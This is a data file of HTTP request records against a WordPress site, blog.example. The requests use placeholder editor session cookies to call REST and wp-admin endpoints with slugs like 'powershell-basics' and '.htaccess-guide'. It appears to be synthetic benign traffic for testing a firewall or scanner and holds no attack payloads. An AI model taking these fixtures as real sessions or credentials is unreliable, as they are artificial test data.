{"method": "POST", "target": "/?rest_route=/wp/v2/posts/1", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 40", "X-WP-Nonce: 3e816ac72c", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794209921"], "body": "{\"id\":1,\"title\":\"Hello from the editor\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/tags?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/categories?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=python3-tutorial", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=powershell-basics", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users?slug=.htaccess-guide", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "X-WP-Nonce: 1185af2a0d", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, */*;q=0.1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/powershell-basics/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214694"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/term.php?taxonomy=post_tag&tag_ID=2&post_type=post&wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dpost_tag%26s%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-edit.php?user_id=2&wp_http_referer=%2Fwp-admin%2Fusers.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3Dpowershell", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=powershell", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?return=%2Fwp-admin%2Fedit.php%3Fs%3D.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php?s=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php?url=http%3A%2F%2Fblog.example%2F%3Fs%3Dpython3", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/?s=python3", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214696"], "body": ""}
